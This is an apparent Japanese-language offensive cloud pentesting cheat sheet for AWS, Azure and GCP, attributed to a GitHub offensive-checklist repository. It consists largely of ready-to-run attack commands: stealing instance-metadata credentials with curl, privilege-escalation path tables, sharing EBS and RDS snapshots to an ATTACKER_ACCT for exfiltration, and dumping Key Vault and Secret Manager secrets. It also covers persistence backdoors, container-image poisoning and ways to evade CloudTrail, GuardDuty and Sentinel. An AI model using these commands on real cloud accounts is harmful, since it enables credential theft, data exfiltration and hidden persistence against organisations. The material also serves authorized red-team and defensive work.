offensive-cloud

クラウド（AWS / Azure / GCP）— 攻撃的テストの方法論

クイックワークフロー

1. クラウドと現在の ID コンテキスト（ユーザー、ロール、サービスアカウント、インスタンスロール）を特定します
2. 書き込み操作を行わずに列挙します — aws sts get-caller-identity、az account show、gcloud auth list
3. 権限を既知の権限昇格プリミティブ（PassRole、Owner など）に対応付けます
4. アラートが発報される前に、データと永続化の足掛かりを見つけます
5. レポート用に、タイムスタンプ、ID、リソースを記載してキルチェーンを記録します

---

AWS

ID の確認

aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
  --action-names "*"

IMDS 認証情報の窃取

# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

SSRF から IMDSv2 に到達できたのは、歴史的には、SSRF でカスタムヘッダーを設定できる場合でした。現在の AWS では、Host: 169.254.169.254 ヘッダーと適切な PUT の後に GET を行うフローがない SSRF は拒否されます。2024 年以降、プロキシがカスタムヘッダーを反映しない限り、SSRF から IMDSv2 の情報が得られることはまれです。

権限昇格の経路

経路	必要な権限	結果
iam:PassRole + lambda:CreateFunction	作成した Lambda に任意のロールを渡す	そのロールとしてコードを実行
iam:PassRole + ec2:RunInstances	EC2 インスタンスに任意のロールを渡す	IMDS → ロールの認証情報
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion	自分のポリシーを編集	自己昇格
iam:UpdateAssumeRolePolicy	特権ロールに対する権限	自分をプリンシパルとして追加
iam:CreateLoginProfile（ログインプロファイルのないユーザーに対して）	コンソールパスワードを設定	コンソールアクセス
iam:CreateAccessKey（別のユーザーに対して）	他のユーザーのキーを作成	永続的なアクセス
ABAC ロールへの sts:TagSession を伴う sts:AssumeRole	ロールがセッションタグを信頼している場合	タグベースの権限昇格
cloudformation:CreateStack + 制限の緩いロール	任意のサービス操作を実行	間接的な任意の権限
glue:UpdateDevEndpoint	Glue エンドポイントに SSH キーを挿入	Glue ロールとしてコードを実行
任意のインスタンスへの ssm:SendCommand	インスタンスとそのロールで RCE	ラテラル移動 + 権限昇格

# Pacu — the tooling for AWS escalation
pacu
> import_keys default
> run iam__enum_permissions
> run iam__privesc_scan

クロスアカウント / 組織

# Find roles trusting the current account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
# Then grep AssumeRolePolicyDocument.Statement for trusts to your account

# Org-wide (if Organizations access)
aws organizations list-accounts
aws organizations list-roots

データの標的

# S3
aws s3api list-buckets
aws s3 ls s3://<bucket> --recursive | head
aws s3api get-bucket-policy --bucket <bucket>

# Cross-region snapshot share (data exfil without S3)
aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
  --attribute createVolumePermission \
  --create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"

# RDS snapshot share
aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
  --attribute-name restore --values-to-add ATTACKER_ACCT

# Secrets Manager / Parameter Store
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption

永続化

# Cross-account SCP exemption via service-linked role
# AWS Config snapshot delivery channel rerouted to attacker bucket
aws configservice put-delivery-channel ...  # Rare but devastating

# EventBridge rule firing Lambda you control on every IAM change
# Backdoor: Lambda creates an access key for any new admin user

検知回避

• CloudTrail が複数リージョンに設定され、ログファイルの検証が有効な場合、権限があれば検証を無効にします
• 権限があれば、update-findings-feedback を使って GuardDuty の検出結果をミュートできます（本番環境ではまれです）
• VPC Flow Logs で検知できるのは IP トラフィックのみです。コントロールプレーンの API 呼び出しは CloudTrail でのみ確認できます

---

Azure

ID の確認

az account show
az ad signed-in-user show
az role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)

# Microsoft Graph
az rest --method GET --uri "https://graph.microsoft.com/v1.0/me"

IMDS

curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

権限昇格の経路

経路	必要なロール / 権限	結果
自分自身 / サブスクリプションに対する User Access Administrator	自分に Owner を付与	サブスクリプションの Owner
アプリ登録の所有者	証明書 / シークレットを追加し、アプリ専用トークンを作成	アプリの権限
Virtual Machine Contributor + KV の Reader	MSI を使用して VM でコマンドを実行 → KV	シークレット
RBAC に対する */write を持つカスタムロール	ロールの割り当てを編集	自己昇格
Logic App contributor	ワークフローを編集 → 特権操作	間接的な任意の操作
Automation Account contributor	Run-As アカウントを使って RunBook を実行	RunAs ID として実行
AAD の Application Administrator	高権限ロールにアプリを割り当て	アプリ経由でクラウド管理者権限を取得
AAD の Cloud Application Administrator	オンプレミスを除き同様	クラウド管理者
AAD の Directory Synchronization Account	AAD Connect 経由で DCSync	すべてのオンプレミスのハッシュ
Privileged Authentication Administrator	Global Admin の MFA / パスワードをリセット	Global Admin のリセット

# ROADtools — the AAD enumeration toolkit
roadrecon auth -u user@tenant -p pass
roadrecon gather
roadrecon gui  # browse the gathered DB

# AzureHound for BloodHound integration
azurehound list -u user -p pass --tenant tenant.onmicrosoft.com

データの標的

# Storage account access keys (gold)
az storage account keys list -g RG -n SA

# Key Vault (per RBAC + access policies)
az keyvault secret list --vault-name myvault
az keyvault secret show --vault-name myvault -n cred

# Cosmos DB primary keys
az cosmosdb keys list -g RG -n acct

# SQL admin reset
az sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>

永続化

# Add cert to existing privileged AAD application
az ad app credential reset --id <app-id> --append

# Conditional Access bypass: add own service principal to "trusted locations" / exclusions
# Custom rules to AAD Audit log retention

検知回避

• AAD Audit Log：テナントレベルのログであり、Global Admin より低い権限では改ざんできません
• Microsoft Sentinel：Workbook / Analytics Rule への書き込み権限があれば、ルールを調整できます
• Defender for Cloud：アラート抑制ルール

---

GCP

ID の確認

gcloud auth list
gcloud projects list
gcloud iam service-accounts list
gcloud projects get-iam-policy $(gcloud config get-value project)

IMDS

curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

権限昇格の経路

経路	必要な権限	結果
iam.serviceAccountTokenCreator on SA	SA としてトークンを発行	SA の権限
iam.serviceAccountUser + compute.instances.create	新しい VM に SA を割り当て	IMDS 経由で SA として実行
iam.serviceAccountKeyAdmin	任意の SA の JSON キーを作成	永続的な SA 認証情報
cloudbuild.builds.create	ビルドは Cloud Build SA（多くの場合 Editor）として実行	プロジェクトの Editor 権限
deploymentmanager.deployments.create	DM SA（多くの場合 Owner）として実行	Owner 権限
cloudfunctions.functions.create + actAs	任意の SA を関数に割り当て	その SA として実行
dataflow.jobs.create + actAs	同じパターン	SA の権限
iam.roles.update（カスタムロール）	自分が持つロールに権限を追加	自己昇格
resourcemanager.projects.setIamPolicy	自分に任意のロールを付与	Owner 権限

# gcp_enum / gcp_scanner
git clone https://github.com/google/gcp_scanner
python gcp_scanner.py -k gcp.json -o out/

# Hunt for SA impersonation paths
gcloud iam service-accounts get-iam-policy <sa-email>
# Look for ServiceAccountTokenCreator on something you control

データの標的

# GCS buckets
gcloud storage ls
gsutil ls -L gs://bucket
gsutil iam get gs://bucket

# Cloud SQL
gcloud sql instances list
gcloud sql users list --instance <instance>

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=<name>

プロジェクト間／フォルダー間の横展開

# Org-level perms?
gcloud organizations list
gcloud resource-manager folders list --organization <id>
gcloud projects list --filter="parent.id=<folder-id>"

---

クラウド間のパターン

ピボットとしての CI/CD

2024～2025 年に発生したクラウドの乗っ取りの多くは、CI トークンから始まっています。

• GitHub Actions の OIDC 設定ミス → 弱い sub クレームを持つ任意の AWS ロールを引き受ける
• GitLab CI が誤ったブランチにプッシュ → 本番ロールを取得
• 環境変数にクラウド認証情報が含まれた Jenkins エージェント

OIDC 信頼ポリシーのクレームを慎重にテストしてください。

"Condition": {
  "StringLike": {
    "token.actions.githubusercontent.com:sub": "repo:org/*"
  }
}

スナップショットによる横展開（3 つすべてで有効）

標的 VM／ディスクのスナップショットを取得し、管理下のアカウントで共有またはマウントして、オフラインでデータを抽出します。ホストレベルのガードレールを回避できます。

ログ内のシークレット

CloudTrail／Activity Log／Cloud Audit Logs には、リクエスト本文が記録されることがあります。API キーを POST する SaaS 統合を探してください。キーが監査ログに残っている可能性があります。

コンテナレジストリのポイズニング

ECR／ACR／Artifact Registry で、本番環境が使用中のタグに対するプッシュ権限を持っている場合は、イメージを差し替えます。タグの可変性が問題です。

---

ツール一覧

ツール	AWS	Azure	GCP	用途
ScoutSuite	✓	✓	✓	セキュリティ態勢の監査
Prowler	✓	✓	✓	CIS／PCI チェック
Pacu	✓			攻撃用フレームワーク
CloudGoat	✓			脆弱な環境のラボ
BloodHound + AzureHound		✓		グラフベースの権限昇格
ROADtools		✓		AAD の偵察 + オフライン分析
MicroBurst		✓		PowerShell ベースの攻撃ツール
Stormspotter		✓		Microsoft 独自の攻撃的な列挙ツール
gcp_scanner			✓	トークンベースの偵察
GCPBucketBrute			✓	GCS バケットの探索

---

エンゲージメント用チートシート

[ ] sts/get-caller-identity, az account show, gcloud auth list
[ ] Enumerate effective permissions (simulate-principal-policy / get-iam-policy)
[ ] Map known privesc paths against current perms
[ ] Pacu/ROADtools/gcp_scanner full enumeration
[ ] Identify data crown jewels (S3/Blob/GCS, KV, secrets)
[ ] Test cross-account/tenant/project trust paths
[ ] Test CI/CD OIDC trust policies
[ ] Test backup/snapshot exfiltration paths
[ ] Document discovered identities, paths, and data with timestamps
[ ] Persistence demonstrated only with explicit authorization

---

主な参考資料

• AWS IAM 権限リファレンス（boto3 ドキュメント）
• Azure RBAC の組み込みロール + アクション一覧
• GCP IAM 権限リファレンス
• HackTricks Cloud — 最新の経路を継続的にまとめたリファレンス
• 「Pacu」フレームワークのドキュメント — pacu.aws.cloud
• MITRE ATT&CK Cloud Matrix
• 出典：https://github.com/SnailSploit/offensive-checklist/blob/main/cloud.md